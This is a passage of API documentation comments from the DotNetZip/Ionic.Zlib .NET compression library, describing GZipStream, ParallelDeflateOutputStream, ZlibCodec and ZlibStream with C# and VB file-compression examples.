resources must + be referenced or disposed. + + + + indicates whether the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read and decompress data from the source stream. + + + + With a GZipStream, decompression is done through reading. + + + + + byte[] working = new byte[WORKING_BUFFER_SIZE]; + using (System.IO.Stream input = System.IO.File.OpenRead(_CompressedFile)) + { + using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) + { + using (var output = System.IO.File.Create(_DecompressedFile)) + { + int n; + while ((n= decompressor.Read(working, 0, working.Length)) !=0) + { + output.Write(working, 0, n); + } + } + } + } + + + The buffer into which the decompressed data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Calling this method always throws a . + + irrelevant; it will always throw! + irrelevant; it will always throw! + irrelevant! + + + + Calling this method always throws a . + + irrelevant; this method will always throw! + + + + Write data to the stream. + + + + + If you wish to use the GZipStream to compress data while writing, + you can create a GZipStream with CompressionMode.Compress, and a + writable output stream. Then call Write() on that GZipStream, + providing uncompressed data as input. The data sent to the output stream + will be the compressed form of the data written. + + + + A GZipStream can be used for Read() or Write(), but not + both. Writing implies compression. Reading implies decompression. + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using GZip. + + + + Uncompress it with . + + + + + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using GZip. + + + + Uncompress it with . + + + + + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a GZip'ed byte array into a single string. + + + + + + + A buffer containing GZIP-compressed data. + + + The uncompressed string + + + + Uncompress a GZip'ed byte array into a byte array. + + + + + + + A buffer containing data that has been compressed with GZip. + + + The data in uncompressed form + + + + A class for compressing streams using the + Deflate algorithm with multiple threads. + + + + + This class performs DEFLATE compression through writing. For + more information on the Deflate algorithm, see IETF RFC 1951, + "DEFLATE Compressed Data Format Specification version 1.3." + + + + This class is similar to , except + that this class is for compression only, and this implementation uses an + approach that employs multiple worker threads to perform the DEFLATE. On + a multi-cpu or multi-core computer, the performance of this class can be + significantly higher than the single-threaded DeflateStream, particularly + for larger streams. How large? Anything over 10mb is a good candidate + for parallel compression. + + + + The tradeoff is that this class uses more memory and more CPU than the + vanilla DeflateStream, and also is less efficient as a compressor. For + large files the size of the compressed data stream can be less than 1% + larger than the size of a compressed data stream from the vanialla + DeflateStream. For smaller files the difference can be larger. The + difference will also be larger if you set the BufferSize to be lower than + the default value. Your mileage may vary. Finally, for small files, the + ParallelDeflateOutputStream can be much slower than the vanilla + DeflateStream, because of the overhead associated to using the thread + pool. + + + + + + + + Create a ParallelDeflateOutputStream. + + + + + This stream compresses data written into it via the DEFLATE + algorithm (see RFC 1951), and writes out the compressed byte stream. + + + + The instance will use the default compression level, the default + buffer sizes and the default number of threads and buffers per + thread. + + + + This class is similar to , + except that this implementation uses an approach that employs + multiple worker threads to perform the DEFLATE. On a multi-cpu or + multi-core computer, the performance of this class can be + significantly higher than the single-threaded DeflateStream, + particularly for larger streams. How large? Anything over 10mb is + a good candidate for parallel compression. + + + + + + + This example shows how to use a ParallelDeflateOutputStream to compress + data. It reads a file, compresses it, and writes the compressed data to + a second, output file. + + + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + String outputFile = fileToCompress + ".compressed"; + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(outputFile)) + { + using (Stream compressor = new ParallelDeflateOutputStream(raw)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Dim outputFile As String = (fileToCompress & ".compressed") + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(outputFile) + Using compressor As Stream = New ParallelDeflateOutputStream(raw) + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to which compressed data will be written. + + + + Create a ParallelDeflateOutputStream using the specified CompressionLevel. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + + + Create a ParallelDeflateOutputStream and specify whether to leave the captive stream open + when the ParallelDeflateOutputStream is closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + + true if the application would like the stream to remain open after inflation/deflation. + + + + + Create a ParallelDeflateOutputStream and specify whether to leave the captive stream open + when the ParallelDeflateOutputStream is closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + true if the application would like the stream to remain open after inflation/deflation. + + + + + Create a ParallelDeflateOutputStream using the specified + CompressionLevel and CompressionStrategy, and specifying whether to + leave the captive stream open when the ParallelDeflateOutputStream is + closed. + + + See the + constructor for example code. + + The stream to which compressed data will be written. + A tuning knob to trade speed for effectiveness. + + By tweaking this parameter, you may be able to optimize the compression for + data with particular characteristics. + + + true if the application would like the stream to remain open after inflation/deflation. + + + + + The ZLIB strategy to be used during compression. + + + + + + The maximum number of buffer pairs to use. + + + + + This property sets an upper limit on the number of memory buffer + pairs to create. The implementation of this stream allocates + multiple buffers to facilitate parallel compression. As each buffer + fills up, this stream uses + ThreadPool.QueueUserWorkItem() + to compress those buffers in a background threadpool thread. After a + buffer is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time, but it is effective + only before the first call to Write(), which is when the buffers are + allocated. + + + + + + The size of the buffers used by the compressor threads. + + + + + The default buffer size is 128k. The application can set this value + at any time, but it is effective only before the first Write(). + + + + Larger buffer sizes implies larger memory consumption but allows + more efficient compression. Using smaller buffer sizes consumes less + memory but may result in less effective compression. For example, + using the default buffer size of 128k, the compression delivered is + within 1% of the compression delivered by the single-threaded . On the other hand, using a + BufferSize of 8k can result in a compressed data stream that is 5% + larger than that delivered by the single-threaded + DeflateStream. Excessively small buffer sizes can also cause + the speed of the ParallelDeflateOutputStream to drop, because of + larger thread scheduling overhead dealing with many many small + buffers. + + + + The total amount of storage space allocated for buffering will be + (N*S*2), where N is the number of buffer pairs, and S is the size of + each buffer (this property). There are 2 buffers used by the + compressor, one for input and one for output. By default, DotNetZip + allocates 4 buffer pairs per CPU core, so if your machine has 4 + cores, then the number of buffer pairs used will be 16. If you + accept the default value of this property, 128k, then the + ParallelDeflateOutputStream will use 16 * 2 * 128kb of buffer memory + in total, or 4mb, in blocks of 128kb. If you set this property to + 64kb, then the number will be 16 * 2 * 64kb of buffer memory, or + 2mb. + + + + + + + The CRC32 for the data that was written out, prior to compression. + + + This value is meaningful only after a call to Close(). + + + + + The total number of uncompressed bytes processed by the ParallelDeflateOutputStream. + + + This value is meaningful only after a call to Close(). + + + + + Write data to the stream. + + + + + + To use the ParallelDeflateOutputStream to compress data, create a + ParallelDeflateOutputStream with CompressionMode.Compress, passing a + writable output stream. Then call Write() on that + ParallelDeflateOutputStream, providing uncompressed data as input. The + data sent to the output stream will be the compressed form of the data + written. + + + + To decompress data, use the class. + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Flush the stream. + + + + + Close the stream. + + + You must call Close on the stream to guarantee that all of the data written in has + been compressed, and the compressed data has been written out. + + + + Dispose the object + + + Because ParallelDeflateOutputStream is IDisposable, the + application must call this method when finished using the instance. + + + This method is generally called implicitly upon exit from + a using scope in C# (Using in VB). + + + + + The Dispose method + + indicates whether the Dispose method was invoked by user code. + + + + + Resets the stream for use with another stream. + + + Because the ParallelDeflateOutputStream is expensive to create, it + has been designed so that it can be recycled and re-used. You have + to call Close() on the stream first, then you can call Reset() on + it, to use it again on another stream. + + + + The new output stream for this era. + + + + + ParallelDeflateOutputStream deflater = null; + foreach (var inputFile in listOfFiles) + { + string outputFile = inputFile + ".compressed"; + using (System.IO.Stream input = System.IO.File.OpenRead(inputFile)) + { + using (var outStream = System.IO.File.Create(outputFile)) + { + if (deflater == null) + deflater = new ParallelDeflateOutputStream(outStream, + CompressionLevel.Best, + CompressionStrategy.Default, + true); + deflater.Reset(outStream); + + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + deflater.Write(buffer, 0, n); + } + } + } + } + + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream supports Read operations. + + + Always returns false. + + + + + Indicates whether the stream supports Write operations. + + + Returns true if the provided stream is writable. + + + + + Reading this property always throws a NotSupportedException. + + + + + Returns the current position of the output stream. + + + + Because the output gets written by a background thread, + the value may change asynchronously. Setting this + property always throws a NotSupportedException. + + + + + + This method always throws a NotSupportedException. + + + The buffer into which data would be read, IF THIS METHOD + ACTUALLY DID ANYTHING. + + + The offset within that data array at which to insert the + data that is read, IF THIS METHOD ACTUALLY DID + ANYTHING. + + + The number of bytes to write, IF THIS METHOD ACTUALLY DID + ANYTHING. + + nothing. + + + + This method always throws a NotSupportedException. + + + The offset to seek to.... + IF THIS METHOD ACTUALLY DID ANYTHING. + + + The reference specifying how to apply the offset.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + nothing. It always throws. + + + + This method always throws a NotSupportedException. + + + The new value for the stream length.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + + + Map from a distance to a distance code. + + + No side effects. _dist_code[256] and _dist_code[257] are never used. + + + + + Describes how to flush the current deflate operation. + + + The different FlushType values are useful when using a Deflate in a streaming application. + + + + No flush at all. + + + Closes the current block, but doesn't flush it to + the output. Used internally only in hypothetical + scenarios. This was supposed to be removed by Zlib, but it is + still in use in some edge cases. + + + + + Use this during compression to specify that all pending output should be + flushed to the output buffer and the output should be aligned on a byte + boundary. You might use this in a streaming communication scenario, so that + the decompressor can get all input data available so far. When using this + with a ZlibCodec, AvailableBytesIn will be zero after the call if + enough output space has been provided before the call. Flushing will + degrade compression and so it should be used only when necessary. + + + + + Use this during compression to specify that all output should be flushed, as + with FlushType.Sync, but also, the compression state should be reset + so that decompression can restart from this point if previous compressed + data has been damaged or if random access is desired. Using + FlushType.Full too often can significantly degrade the compression. + + + + Signals the end of the compression/decompression stream. + + + + The compression level to be used when using a DeflateStream or ZlibStream with CompressionMode.Compress. + + + + + None means that the data will be simply stored, with no change at all. + If you are producing ZIPs for use on Mac OSX, be aware that archives produced with CompressionLevel.None + cannot be opened with the default zip reader. Use a different CompressionLevel. + + + + + Same as None. + + + + + The fastest but least effective compression. + + + + + A synonym for BestSpeed. + + + + + A little slower, but better, than level 1. + + + + + A little slower, but better, than level 2. + + + + + A little slower, but better, than level 3. + + + + + A little slower than level 4, but with better compression. + + + + + The default compression level, with a good balance of speed and compression efficiency. + + + + + A synonym for Default. + + + + + Pretty good compression! + + + + + Better compression than Level7! + + + + + The "best" compression, where best means greatest reduction in size of the input data stream. + This is also the slowest compression. + + + + + A synonym for BestCompression. + + + + + Describes options for how the compression algorithm is executed. Different strategies + work better on different sorts of data. The strategy parameter can affect the compression + ratio and the speed of compression but not the correctness of the compresssion. + + + + + The default strategy is probably the best for normal data. + + + + + The Filtered strategy is intended to be used most effectively with data produced by a + filter or predictor. By this definition, filtered data consists mostly of small + values with a somewhat random distribution. In this case, the compression algorithm + is tuned to compress them better. The effect of Filtered is to force more Huffman + coding and less string matching; it is a half-step between Default and HuffmanOnly. + + + + + Using HuffmanOnly will force the compressor to do Huffman encoding only, with no + string matching. + + + + + An enum to specify the direction of transcoding - whether to compress or decompress. + + + + + Used to specify that the stream should compress the data. + + + + + Used to specify that the stream should decompress the data. + + + + + A general purpose exception class for exceptions in the Zlib library. + + + + + The ZlibException class captures exception information generated + by the Zlib library. + + + + + This ctor collects a message attached to the exception. + + the message for the exception. + + + + Performs an unsigned bitwise right shift with the specified number + + Number to operate on + Ammount of bits to shift + The resulting number from the shift operation + + + + Reads a number of characters from the current source TextReader and writes + the data to the target array at the specified index. + + + The source TextReader to read from + Contains the array of characteres read from the source TextReader. + The starting index of the target array. + The maximum number of characters to read from the source TextReader. + + + The number of characters read. The number will be less than or equal to + count depending on the data available in the source TextReader. Returns -1 + if the end of the stream is reached. + + + + + Computes an Adler-32 checksum. + + + The Adler checksum is similar to a CRC checksum, but faster to compute, though less + reliable. It is used in producing RFC1950 compressed streams. The Adler checksum + is a required part of the "ZLIB" standard. Applications will almost never need to + use this class directly. + + + + + + + Calculates the Adler32 checksum. + + + + This is used within ZLIB. You probably don't need to use this directly. + + + + To compute an Adler32 checksum on a byte array: + + var adler = Adler.Adler32(0, null, 0, 0); + adler = Adler.Adler32(adler, buffer, index, length); + + + + + + Encoder and Decoder for ZLIB and DEFLATE (IETF RFC1950 and RFC1951). + + + + This class compresses and decompresses data according to the Deflate algorithm + and optionally, the ZLIB format, as documented in RFC 1950 - ZLIB and RFC 1951 - DEFLATE. + + + + + The buffer from which data is taken. + + + + + An index into the InputBuffer array, indicating where to start reading. + + + + + The number of bytes available in the InputBuffer, starting at NextIn. + + + Generally you should set this to InputBuffer.Length before the first Inflate() or Deflate() call. + The class will update this number as calls to Inflate/Deflate are made. + + + + + Total number of bytes read so far, through all calls to Inflate()/Deflate(). + + + + + Buffer to store output data. + + + + + An index into the OutputBuffer array, indicating where to start writing. + + + + + The number of bytes available in the OutputBuffer, starting at NextOut. + + + Generally you should set this to OutputBuffer.Length before the first Inflate() or Deflate() call. + The class will update this number as calls to Inflate/Deflate are made. + + + + + Total number of bytes written to the output so far, through all calls to Inflate()/Deflate(). + + + + + used for diagnostics, when something goes wrong! + + + + + The compression level to use in this codec. Useful only in compression mode. + + + + + The number of Window Bits to use. + + + This gauges the size of the sliding window, and hence the + compression effectiveness as well as memory consumption. It's best to just leave this + setting alone if you don't know what it is. The maximum value is 15 bits, which implies + a 32k window. + + + + + The compression strategy to use. + + + This is only effective in compression. The theory offered by ZLIB is that different + strategies could potentially produce significant differences in compression behavior + for different data sets. Unfortunately I don't have any good recommendations for how + to set it differently. When I tested changing the strategy I got minimally different + compression performance. It's best to leave this property alone if you don't have a + good feel for it. Or, you may want to produce a test harness that runs through the + different strategy options and evaluates them on different file types. If you do that, + let me know your results. + + + + + The Adler32 checksum on the data transferred through the codec so far. You probably don't need to look at this. + + + + + Create a ZlibCodec. + + + If you use this default constructor, you will later have to explicitly call + InitializeInflate() or InitializeDeflate() before using the ZlibCodec to compress + or decompress. + + + + + Create a ZlibCodec that either compresses or decompresses. + + + Indicates whether the codec should compress (deflate) or decompress (inflate). + + + + + Initialize the inflation state. + + + It is not necessary to call this before using the ZlibCodec to inflate data; + It is implicitly called when you call the constructor. + + Z_OK if everything goes well. + + + + Initialize the inflation state with an explicit flag to + govern the handling of RFC1950 header bytes. + + + + By default, the ZLIB header defined in RFC 1950 is expected. If + you want to read a zlib stream you should specify true for + expectRfc1950Header. If you have a deflate stream, you will want to specify + false. It is only necessary to invoke this initializer explicitly if you + want to specify false. + + + whether to expect an RFC1950 header byte + pair when reading the stream of data to be inflated. + + Z_OK if everything goes well. + + + + Initialize the ZlibCodec for inflation, with the specified number of window bits. + + The number of window bits to use. If you need to ask what that is, + then you shouldn't be calling this initializer. + Z_OK if all goes well. + + + + Initialize the inflation state with an explicit flag to govern the handling of + RFC1950 header bytes. + + + + If you want to read a zlib stream you should specify true for + expectRfc1950Header. In this case, the library will expect to find a ZLIB + header, as defined in RFC + 1950, in the compressed stream. If you will be reading a DEFLATE or + GZIP stream, which does not have such a header, you will want to specify + false. + + + whether to expect an RFC1950 header byte pair when reading + the stream of data to be inflated. + The number of window bits to use. If you need to ask what that is, + then you shouldn't be calling this initializer. + Z_OK if everything goes well. + + + + Inflate the data in the InputBuffer, placing the result in the OutputBuffer. + + + You must have set InputBuffer and OutputBuffer, NextIn and NextOut, and AvailableBytesIn and + AvailableBytesOut before calling this method. + + + + private void InflateBuffer() + { + int bufferSize = 1024; + byte[] buffer = new byte[bufferSize]; + ZlibCodec decompressor = new ZlibCodec(); + + Console.WriteLine("\n============================================"); + Console.WriteLine("Size of Buffer to Inflate: {0} bytes.", CompressedBytes.Length); + MemoryStream ms = new MemoryStream(DecompressedBytes); + + int rc = decompressor.InitializeInflate(); + + decompressor.InputBuffer = CompressedBytes; + decompressor.NextIn = 0; + decompressor.AvailableBytesIn = CompressedBytes.Length; + + decompressor.OutputBuffer = buffer; + + // pass 1: inflate + do + { + decompressor.NextOut = 0; + decompressor.AvailableBytesOut = buffer.Length; + rc = decompressor.Inflate(FlushType.None); + + if (rc != ZlibConstants.Z_OK && rc != ZlibConstants.Z_STREAM_END) + throw new Exception("inflating: " + decompressor.Message); + + ms.Write(decompressor.OutputBuffer, 0, buffer.Length - decompressor.AvailableBytesOut); + } + while (decompressor.AvailableBytesIn > 0 || decompressor.AvailableBytesOut == 0); + + // pass 2: finish and flush + do + { + decompressor.NextOut = 0; + decompressor.AvailableBytesOut = buffer.Length; + rc = decompressor.Inflate(FlushType.Finish); + + if (rc != ZlibConstants.Z_STREAM_END && rc != ZlibConstants.Z_OK) + throw new Exception("inflating: " + decompressor.Message); + + if (buffer.Length - decompressor.AvailableBytesOut > 0) + ms.Write(buffer, 0, buffer.Length - decompressor.AvailableBytesOut); + } + while (decompressor.AvailableBytesIn > 0 || decompressor.AvailableBytesOut == 0); + + decompressor.EndInflate(); + } + + + + The flush to use when inflating. + Z_OK if everything goes well. + + + + Ends an inflation session. + + + Call this after successively calling Inflate(). This will cause all buffers to be flushed. + After calling this you cannot call Inflate() without a intervening call to one of the + InitializeInflate() overloads. + + Z_OK if everything goes well. + + + + I don't know what this does! + + Z_OK if everything goes well. + + + + Initialize the ZlibCodec for deflation operation. + + + The codec will use the MAX window bits and the default level of compression. + + + + int bufferSize = 40000; + byte[] CompressedBytes = new byte[bufferSize]; + byte[] DecompressedBytes = new byte[bufferSize]; + + ZlibCodec compressor = new ZlibCodec(); + + compressor.InitializeDeflate(CompressionLevel.Default); + + compressor.InputBuffer = System.Text.ASCIIEncoding.ASCII.GetBytes(TextToCompress); + compressor.NextIn = 0; + compressor.AvailableBytesIn = compressor.InputBuffer.Length; + + compressor.OutputBuffer = CompressedBytes; + compressor.NextOut = 0; + compressor.AvailableBytesOut = CompressedBytes.Length; + + while (compressor.TotalBytesIn != TextToCompress.Length && compressor.TotalBytesOut < bufferSize) + { + compressor.Deflate(FlushType.None); + } + + while (true) + { + int rc= compressor.Deflate(FlushType.Finish); + if (rc == ZlibConstants.Z_STREAM_END) break; + } + + compressor.EndDeflate(); + + + + Z_OK if all goes well. You generally don't need to check the return code. + + + + Initialize the ZlibCodec for deflation operation, using the specified CompressionLevel. + + + The codec will use the maximum window bits (15) and the specified + CompressionLevel. It will emit a ZLIB stream as it compresses. + + The compression level for the codec. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified CompressionLevel, + and the explicit flag governing whether to emit an RFC1950 header byte pair. + + + The codec will use the maximum window bits (15) and the specified CompressionLevel. + If you want to generate a zlib stream, you should specify true for + wantRfc1950Header. In this case, the library will emit a ZLIB + header, as defined in RFC + 1950, in the compressed stream. + + The compression level for the codec. + whether to emit an initial RFC1950 byte pair in the compressed stream. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified CompressionLevel, + and the specified number of window bits. + + + The codec will use the specified number of window bits and the specified CompressionLevel. + + The compression level for the codec. + the number of window bits to use. If you don't know what this means, don't use this method. + Z_OK if all goes well. + + + + Initialize the ZlibCodec for deflation operation, using the specified + CompressionLevel, the specified number of window bits, and the explicit flag + governing whether to emit an RFC1950 header byte pair. + + + The compression level for the codec. + whether to emit an initial RFC1950 byte pair in the compressed stream. + the number of window bits to use. If you don't know what this means, don't use this method. + Z_OK if all goes well. + + + + Deflate one batch of data. + + + You must have set InputBuffer and OutputBuffer before calling this method. + + + + private void DeflateBuffer(CompressionLevel level) + { + int bufferSize = 1024; + byte[] buffer = new byte[bufferSize]; + ZlibCodec compressor = new ZlibCodec(); + + Console.WriteLine("\n============================================"); + Console.WriteLine("Size of Buffer to Deflate: {0} bytes.", UncompressedBytes.Length); + MemoryStream ms = new MemoryStream(); + + int rc = compressor.InitializeDeflate(level); + + compressor.InputBuffer = UncompressedBytes; + compressor.NextIn = 0; + compressor.AvailableBytesIn = UncompressedBytes.Length; + + compressor.OutputBuffer = buffer; + + // pass 1: deflate + do + { + compressor.NextOut = 0; + compressor.AvailableBytesOut = buffer.Length; + rc = compressor.Deflate(FlushType.None); + + if (rc != ZlibConstants.Z_OK && rc != ZlibConstants.Z_STREAM_END) + throw new Exception("deflating: " + compressor.Message); + + ms.Write(compressor.OutputBuffer, 0, buffer.Length - compressor.AvailableBytesOut); + } + while (compressor.AvailableBytesIn > 0 || compressor.AvailableBytesOut == 0); + + // pass 2: finish and flush + do + { + compressor.NextOut = 0; + compressor.AvailableBytesOut = buffer.Length; + rc = compressor.Deflate(FlushType.Finish); + + if (rc != ZlibConstants.Z_STREAM_END && rc != ZlibConstants.Z_OK) + throw new Exception("deflating: " + compressor.Message); + + if (buffer.Length - compressor.AvailableBytesOut > 0) + ms.Write(buffer, 0, buffer.Length - compressor.AvailableBytesOut); + } + while (compressor.AvailableBytesIn > 0 || compressor.AvailableBytesOut == 0); + + compressor.EndDeflate(); + + ms.Seek(0, SeekOrigin.Begin); + CompressedBytes = new byte[compressor.TotalBytesOut]; + ms.Read(CompressedBytes, 0, CompressedBytes.Length); + } + + + whether to flush all data as you deflate. Generally you will want to + use Z_NO_FLUSH here, in a series of calls to Deflate(), and then call EndDeflate() to + flush everything. + + Z_OK if all goes well. + + + + End a deflation session. + + + Call this after making a series of one or more calls to Deflate(). All buffers are flushed. + + Z_OK if all goes well. + + + + Reset a codec for another deflation session. + + + Call this to reset the deflation state. For example if a thread is deflating + non-consecutive blocks, you can call Reset() after the Deflate(Sync) of the first + block and before the next Deflate(None) of the second block. + + Z_OK if all goes well. + + + + Set the CompressionStrategy and CompressionLevel for a deflation session. + + the level of compression to use. + the strategy to use for compression. + Z_OK if all goes well. + + + + Set the dictionary to be used for either Inflation or Deflation. + + The dictionary bytes to use. + Z_OK if all goes well. + + + + Set the dictionary to be used for either Inflation or Deflation unconditionally. + + Decoding a MSZip file requires the dictionary state to be set unconditionally + at the end of each block to the previous decoded data + The dictionary bytes to use. + Z_OK if all goes well. + + + + A bunch of constants used in the Zlib interface. + + + + + The maximum number of window bits for the Deflate algorithm. + + + + + The default number of window bits for the Deflate algorithm. + + + + + indicates everything is A-OK + + + + + Indicates that the last operation reached the end of the stream. + + + + + The operation ended in need of a dictionary. + + + + + There was an error with the stream - not enough data, not open and readable, etc. + + + + + There was an error with the data - not enough data, bad data, etc. + + + + + There was an error with the working buffer. + + + + + The size of the working buffer used in the ZlibCodec class. + + + + + The minimum size of the working buffer used in the ZlibCodec class. + + + + + Represents a Zlib stream for compression or decompression. + + + + + The ZlibStream is a Decorator on a . It adds ZLIB compression or decompression to any + stream. + + + Using this stream, applications can compress or decompress data via + stream Read() and Write() operations. Either compresssion or + decompression can occur through either reading or writing. The compression + format used is ZLIB, which is documented in IETF RFC 1950, "ZLIB Compressed + Data Format Specification version 3.3". This implementation of ZLIB always uses + DEFLATE as the compression method. (see IETF RFC 1951, "DEFLATE + Compressed Data Format Specification version 1.3.") + + + The ZLIB format allows for varying compression methods, window sizes, and dictionaries. + This implementation always uses the DEFLATE compression method, a preset dictionary, + and 15 window bits by default. + + + + This class is similar to , except that it adds the + RFC1950 header and trailer bytes to a compressed stream when compressing, or expects + the RFC1950 header and trailer bytes when decompressing. It is also similar to the + . + + + + + + + + Create a ZlibStream using the specified CompressionMode. + + + + + When mode is CompressionMode.Compress, the ZlibStream + will use the default compression level. The "captive" stream will be + closed when the ZlibStream is closed. + + + + + + This example uses a ZlibStream to compress a file, and writes the + compressed data to another file. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (Stream compressor = new ZlibStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".zlib") + Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + The stream which will be read or written. + Indicates whether the ZlibStream will compress or decompress. + + + + Create a ZlibStream using the specified CompressionMode and + the specified CompressionLevel. + + + + + + When mode is CompressionMode.Decompress, the level parameter is ignored. + The "captive" stream will be closed when the ZlibStream is closed. + + + + + + This example uses a ZlibStream to compress data from a file, and writes the + compressed data to another file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (Stream compressor = new ZlibStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".zlib") + Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + + The stream to be read or written while deflating or inflating. + Indicates whether the ZlibStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a ZlibStream using the specified CompressionMode, and + explicitly specify whether the captive stream should be left open after + Deflation or Inflation. + + + + + + When mode is CompressionMode.Compress, the ZlibStream will use + the default compression level. + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + that will be re-read after + compression. Specify true for the parameter to leave the stream + open. + + + + See the other overloads of this constructor for example code. + + + + + The stream which will be read or written. This is called the + "captive" stream in other places in this documentation. + Indicates whether the ZlibStream will compress or decompress. + true if the application would like the stream to remain + open after inflation/deflation. + + + + Create a ZlibStream using the specified CompressionMode + and the specified CompressionLevel, and explicitly specify + whether the stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive + stream remain open after the deflation or inflation occurs. By + default, after Close() is called on the stream, the captive + stream is also closed. In some cases this is not desired, for example + if the stream is a that will be + re-read after compression. Specify true for the parameter to leave the stream open. + + + + When mode is CompressionMode.Decompress, the level parameter is + ignored. + + + + + + + This example shows how to use a ZlibStream to compress the data from a file, + and store the result into another file. The filestream remains open to allow + additional data to be written to it. + + + using (var output = System.IO.File.Create(fileToCompress + ".zlib")) + { + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (Stream compressor = new ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + // can write additional data to the output stream here + } + + + Using output As FileStream = File.Create(fileToCompress & ".zlib") + Using input As Stream = File.OpenRead(fileToCompress) + Using compressor As Stream = New ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + ' can write additional data to the output stream here. + End Using + + + + The stream which will be read or written. + + Indicates whether the ZlibStream will compress or decompress. + + 